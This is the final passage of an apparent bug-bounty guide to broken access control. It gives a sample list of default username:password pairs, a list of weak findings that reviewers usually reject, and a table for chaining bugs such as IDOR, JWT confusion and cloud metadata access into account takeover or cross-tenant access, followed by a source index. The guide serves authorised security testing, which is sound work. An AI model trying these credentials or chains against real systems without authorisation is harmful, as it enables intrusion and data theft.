administrator:administrator
root:root
test:test
demo:demo
guest:guest
user:user
123456:123456
<company>:<company>
<company>:password
(Full set: SecLists Passwords/Default-Credentials/default-passwords.csv, 2.8K+ entries.)
17.8 Always-rejected-without-chain list#
These, on their own, are usually out of scope or N/A. Chain them into something.
- Missing rate limits with no account lockout demonstration.
- “IDOR” on public resources.
- Role names exposed in JS with no actual endpoint bypass.
- Password reset without a working token disclosure.
- CSRF on unauthenticated endpoints.
- “Session doesn’t expire after logout” with no session fixation.
17.9 Chain-to-critical list#
| Bug | Chain into |
|---|---|
| IDOR on user record | Password reset → ATO |
| IDOR on invites | Admin invite → vertical escalation |
| BFLA on role change | Self-promotion → admin |
| JWT alg confusion | Claim tampering → cross-tenant |
| redirect_uri bypass | Token theft → ATO |
| Multi-tenant leak | Cross-tenant enumeration → mass PII |
| Cloud metadata access | IAM token → cross-project |
| Default creds | Tenant access → IDOR at scale |
Appendix: Source Index#
This guide synthesizes 33 clipped research sources covering:
- PortSwigger Web Security Academy — access control fundamentals
- OWASP — A01 Broken Access Control (2021/2025/2026), API Security Top 10, WSTG
- HackTricks — IDOR/BOLA reference
- Intigriti BugQuest — 31 days of broken access control
- Hackviser — IDOR attack guide
- Black Hat — broken access control primer
- Imperva, HackerOne, Bright Security — BOLA/IDOR overviews
- Palo Alto Unit 42 — Vertex AI “Double Agents” research
- SANS 2026 Identity Threats Report
- Managed-WP — WordPress Simple Membership (CVE-2026-34886)
- aangine BOLA disclosure (CVE-2025-67274)
- McHire/Paradox.ai 64M applicant IDOR
- Carlsberg “Memories” wristband IDOR
- OpenClaw multi-user session isolation disclosure
- HackerOne top-authorization disclosure archive
- Multiple practitioner guides on horizontal/vertical escalation and detection
The source material is captured under ~/Documents/obsidian/chs/raw/AuthZ/ for primary-source review.